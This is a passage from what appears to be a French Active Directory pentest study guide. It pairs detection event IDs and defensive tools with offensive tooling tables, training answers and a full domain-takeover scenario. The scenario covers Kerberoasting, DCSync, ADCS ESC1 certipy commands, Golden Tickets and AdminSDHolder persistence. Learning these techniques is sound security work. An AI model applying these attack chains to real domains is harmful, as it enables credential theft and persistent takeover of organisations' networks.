4648 | Logon with explicit credentials | Runas, PTH, NTLM relay |
4662 | Operation on AD object | DCSync (DS-Replication-Get-Changes) |
4663 | Attempt to access object | NTDS.dit access, SYSVOL scraping |
4688 | Process creation | Execution via WMI, PsExec, lateral movement |
4698 | Scheduled task created | Persistance, lateral movement |
4720 | User account created | Backdoor account |
4768 | TGT requested (AS-REQ) | AS-REP Roasting si no preauthentication |
4769 | TGS requested | Kerberoasting (RC4 = 0x17 suspect) |
4771 | Kerberos pre-auth failed | Brute force Kerberos |
4776 | NTLM authentication | PTH, NTLM relay, brute force |
7045 | Service installed | PsExec, persistence |
Outils défensifs recommandés
- PingCastle — Audit de sécurité AD avec score de risque + recommandations. Gratuit.
- Purple Knight (Semperis) — Détection d'indicateurs de compromission AD (IOEs/IOCs)
- Microsoft Defender for Identity (ex-ATA) — Détection d'attaques AD en temps réel
- BloodHound Enterprise — Attack path management continu (version DefenseOps)
- Certipy / Certify — Scanner les templates ADCS vulnérables
- Alsid / Tenable.ad — Monitoring continu de la posture AD
Tooling — Référence complète
OFFENSIF| Outil | OS | Catégorie | Usage clé |
|---|---|---|---|
| Mimikatz | Win | Credential Dump | sekurlsa, lsadump, kerberos, golden/silver tickets |
| Rubeus | Win | Kerberos | Kerberoast, AS-REP, PTT, OPtH, dump tickets |
| Impacket | Lin | Suite complète | secretsdump, GetUserSPNs, GetNPUsers, ntlmrelayx, psexec, wmiexec |
| BloodHound/SharpHound | Win/Lin | Cartographie | Graphe des chemins d'attaque, queries Cypher |
| PowerView | Win | Énumération | Get-DomainUser, Find-InterestingDomainAcl, ACL abuse |
| CrackMapExec / nxc | Lin | Swiss Army Knife | Enum, spray, PTH, exec, SAM dump, shares |
| evil-winrm | Lin | Remote Shell | WinRM shell, PTH, upload/download |
| Responder | Lin | MitM | LLMNR/NBT-NS poisoning, capture NTLMv2 |
| Certipy | Lin | ADCS | Find ESC1-8, request/auth certs, relay ADCS |
| Certify | Win | ADCS | Find vulnerable templates, request certificates |
| PetitPotam | Lin/Win | Coerce Auth | Forcer l'auth NTLM du DC → relay vers ADCS/LDAP |
| Coercer | Lin | Coerce Auth | Automatise tous les protocols de coercition (PrinterBug, PetitPotam, DFSCoerce...) |
| Kerbrute | Lin | Brute / Enum | Enum usernames via Kerberos, password spray discret |
| Ldapdomaindump | Lin | Énumération | Dump AD via LDAP → HTML/JSON lisible |
| Hashcat | Any | Cracking | -m 13100 (Kerberoast), -m 18200 (AS-REP), -m 5600 (NTLMv2) |
Questions — Entraînement
PRATIQUE-m 13100 (RC4) ou -m 19700 (AES256). AS-REP Roasting cible les comptes avec DONT_REQ_PREAUTH activé. Sans pré-authentification, n'importe qui peut envoyer une AS-REQ et obtenir une réponse contenant une portion chiffrée avec le NT hash du user — même sans credentials valides. Mode hashcat : -m 18200. Résumé : Kerberoasting = comptes de service + user authentifié requis. AS-REP = users ordinaires mal configurés + attaque possible anonymement.krbtgt. Permet de s'authentifier comme n'importe quel utilisateur (même inexistant), avec n'importe quels groupes. Durée : jusqu'à 10 ans par défaut. Implique un contact avec le KDC à chaque TGS-REQ. Pré-requis : hash NT de krbtgt (via DCSync). Silver Ticket : TGS forgé pour un service spécifique, signé avec le NT hash du compte de service (pas krbtgt). Accès limité à un seul service. Aucun contact DC — entièrement offline → très difficile à détecter. Pré-requis : hash NT du compte de service seulement. Différence clé : Golden = accès à tout le domaine + contact KDC. Silver = accès à 1 service + zéro contact KDC (plus discret mais portée limitée).MS-DRSR. Il demande spécifiquement les attributs unicodePwd, supplementalCredentials, et ntPwdHistory — qui contiennent les NT hashes. Droits nécessaires : DS-Replication-Get-Changes + DS-Replication-Get-Changes-All. Par défaut accordés à : Domain Admins, Enterprise Admins, Domain Controllers. Comment les obtenir sans DA : 1) Via WriteDACL ou GenericAll sur l'objet Domain → utiliser PowerView pour s'accorder les droits DCSync. 2) Via AdminSDHolder compromise. 3) BloodHound montre qui a ces droits via l'edge "DCSync". Détection : EventID 4662 avec les GUIDs de réplication, depuis une IP qui n'est pas un DC.msPKI-Certificate-Name-Flag contient ENROLLEE_SUPPLIES_SUBJECT — le demandeur contrôle le SAN. 2) EKU inclut Client Authentication. 3) Enrollment autorisé aux utilisateurs ordinaires. Exploitation : Un utilisateur ordinaire demande un certificat en spécifiant dans le SAN l'UPN de Administrator (administrator@corp.local). Le certificat est émis pour "Administrator" selon l'AD. On utilise ce certificat pour s'authentifier via PKINIT (Kerberos avec certificat) et obtenir le TGT d'Administrator — ou directement son NT hash via certipy auth. Commandes clés : certipy find -vulnerable pour trouver les templates, puis certipy req -upn administrator@corp.local, puis certipy auth -pfx admin.pfx. Résultat : NT hash d'Administrator → Pass-the-Hash → DA.AdminSDHolder est un objet AD (CN=AdminSDHolder,CN=System,DC=...) qui sert de template de sécurité pour les groupes et comptes privilégiés. Un processus appelé SDProp s'exécute toutes les 60 minutes et copie les ACLs d'AdminSDHolder sur tous les objets protégés (Domain Admins, Enterprise Admins, krbtgt, Administrator...). Abus : Si l'attaquant a les droits DA (ou WriteDACL sur AdminSDHolder), il ajoute ses droits (GenericAll) sur AdminSDHolder. SDProp propagera ces droits sur tous les comptes/groupes protégés dans les 60 minutes suivantes. Même si un admin révoque les droits manuellement sur un objet, ils sont restaurés lors du prochain cycle SDProp. Persistance indirecte : avec GenericAll sur les groupes privilegiés, l'attaquant peut se ré-ajouter à Domain Admins à tout moment.MATCH p=shortestPath((u:User)-[*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"})) RETURN p — trouve le chemin le plus court depuis n'importe quel user. 2) Users Kerberoastables avec droits élevés : MATCH (u:User {hasspn:true})-[:MemberOf*1..]->(g:Group) WHERE g.highvalue=true RETURN u.name — combinaison Kerberoasting + escalade. 3) Comptes avec DCSync : MATCH p=(u)-[:DCSync|AllExtendedRights]->(d:Domain) RETURN p — identifie qui peut faire DCSync sans être DA explicitement.bloodhound-python pour cartographier le domaine. BloodHound révèle : john a GenericWrite sur "svc_sql" (compte de service avec SPN). 3) Targeted Kerberoasting → Ajouter un SPN à svc_sql via GenericWrite, demander le TGS, cracker offline → password "Sql2020!" obtenu. 4) Latéralité → svc_sql a des sessions sur DB01. evil-winrm vers DB01 avec les credentials svc_sql. 5) Élévation locale → Mimikatz sur DB01 → hash NT du DA "corp\admin" trouvé en mémoire (session active). 6) DCSync → PTH avec le hash DA sur le DC → impacket-secretsdump → hash krbtgt + tous les NT hashes. 7) Persistance → Golden Ticket avec hash krbtgt + AdminSDHolder backdoor. Durée typique : 2-4h en environnement non patchée.Checklist — Maîtrise Active Directory
À COCHERConcepts fondamentaux
- Structure AD : DC, NTDS.dit, SYSVOL, krbtgt
- Flux Kerberos complet : AS-REQ/REP, TGS-REQ/REP
- NT hash vs NTLMv2 — différences pour PTH/Relay
- Groupes privilégiés : DA, EA, Schema, Backup Ops
- BloodHound : collecter, queries Cypher, chemins
- Kerberoasting : SPN → TGS → crack offline
- AS-REP Roasting : DONT_REQ_PREAUTH
- PTH avec Impacket, evil-winrm, CrackMapExec
Attaques avancées
- NTLM Relay : Responder + ntlmrelayx + SMB signing
- DCSync : droits requis + Impacket secretsdump
- ACL Abuse : GenericAll, WriteDACL, GenericWrite
- Golden Ticket : krbtgt hash → persistance totale
- Silver Ticket : service hash → accès discret
- ADCS ESC1 : SAN arbitraire → DA via cert
- ADCS ESC8 : NTLM relay → cert DC → DCSync
- AdminSDHolder : persistance via SDProp